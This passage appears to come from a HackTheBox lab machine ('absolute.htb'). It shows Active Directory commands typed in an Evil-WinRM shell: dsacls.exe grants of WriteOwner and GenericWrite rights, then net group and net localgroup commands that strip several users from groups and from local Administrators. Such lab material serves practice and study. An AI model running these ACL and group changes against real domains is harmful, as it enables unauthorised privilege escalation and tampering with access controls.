"cn=winrm_user,cn=users,dc=absolute,dc=htb" -resetdefaultdacl cmd /c 'dsacls.exe "cn=Network Audit,cn=users,dc=absolute,dc=htb" /G absolute\Networkers:WO' cmd /c 'dsacls.exe "cn=winrm_user,cn=users,dc=absolute,dc=htb" /I:T /G "absolute\Network Audit":GW' net group "network audit" m.lovegod /del net group "network audit" svc_smb /del net group "network audit" d.klay /del net localgroup Administrators m.lovegod /del net localgroup Administrators svc_smb /del net localgroup Administrators d.klay /del net localgroup Administrators winrm_user /del *Evil-WinRM* PS C:\windows\system32\tasks>
.
..